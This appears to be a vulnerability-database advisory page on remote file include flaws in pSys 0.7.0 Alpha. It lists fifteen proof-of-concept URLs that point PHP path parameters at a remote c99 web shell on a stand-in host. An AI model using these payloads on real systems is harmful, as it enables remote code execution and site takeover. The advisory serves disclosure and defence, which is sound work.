exploits , vulnerabilities , articles , pSys 0.7.0 Alpha Multiple Remote File Include Vulnerabilities

Title	pSys 0.7.0 Alpha Multiple Remote File Include Vulnerabilities
Published	2008-07-15-12:00AM
Updated	2008-07-16-08:59PM
Class	Input Validation Error
CVE
Remote	Yes
Local	No
Credit	RoMaNcYxHaCkEr
Vulnerable	Powie pSys 0.7.0 Alpha
Not Vulnerable
Code	An attacker can exploit these issues via a browser.The following proof-of-concept URIs are available:http://www.example.com/login.inc.php?pdir=http://www.example2.com/c99.txt? http://www.example.com/admin/adminmenuright.php?pdir_admin=http://www.example2.com/c99.txt? http://www.example.com/admin/fuss.php?pdir_admin=http://www.example2.com/c99.txt? http://www.example.com/admin/kopf.php?pdir_admin=http://www.example2.com/c99.txt? http://www.example.com/forum/ajax_newpost.inc.php?pdir_lib=http://www.example2.com/c99.txt? http://www.example.com/panels/panel_shopkategorie.php?pdir_mod=http://www.example2.com/c99.txt? http://www.example.com/panels/panel_shopkunde.php?pdir_mod=http://www.example2.com/c99.txt? http://www.example.com/panels/panel_user.php?pdir=http://www.example2.com/c99.txt? http://www.example.com/mod/gb/ajax_post.inc.php?pdir_lib=http://www.example2.com/c99.txt? http://www.example.com/style/csg/fuss.php?pdir=http://www.example2.com/c99.txt? http://www.example.com/style/csg/kopf.php?pdir=http://www.example2.com/c99.txt? http://www.example.com/style/default/fuss.php?pdir=http://www.example2.com/c99.txt? http://www.example.com/style/default/kopf.php?pdir=http://www.example2.com/c99.txt? http://www.example.com/style/simpleblack/fuss.php?pdir=http://www.example2.com/c99.txt? http://www.example.com/style/simpleblack/kopf.php?pdir=http://www.example2.com/c99.txt?
TXT

Vulnerabilities - newest 10 RSS | More

2009-12-17 HP OpenView Storage Data Protector Stack Buffer Overflow Vulnerability
2009-12-17 IBM WebSphere Application Server Feature Pack for CEA Spoofing Vulnerability
2009-12-17 Digital Scribe Cross Site Scripting and SQL Injection Vulnerabilities
2009-12-17 WP-Forum WordPress Plugin Multiple SQL Injection Vulnerabilities
2009-12-17 Quick Heal AntiVirus Insecure Program File Permissions Local Privilege Escalation Vulnerability
2009-12-17 IntelliCom NetBiter webSCADA Multiple Default Password Security Bypass Vulnerabilities
2009-12-17 Webmatic Multiple Unspecified SQL Injection and Cross-Site Scripting Vulnerabilities
2009-12-17 ManageEngine Password Manager Pro Cross Site Scripting Vulnerability
2009-12-17 HP OpenView Storage Data Protector Multiple Remote Code Execution Vulnerabilities
2009-12-17 iDevSpot iSupport Multiple Cross Site Scripting Vulnerabilities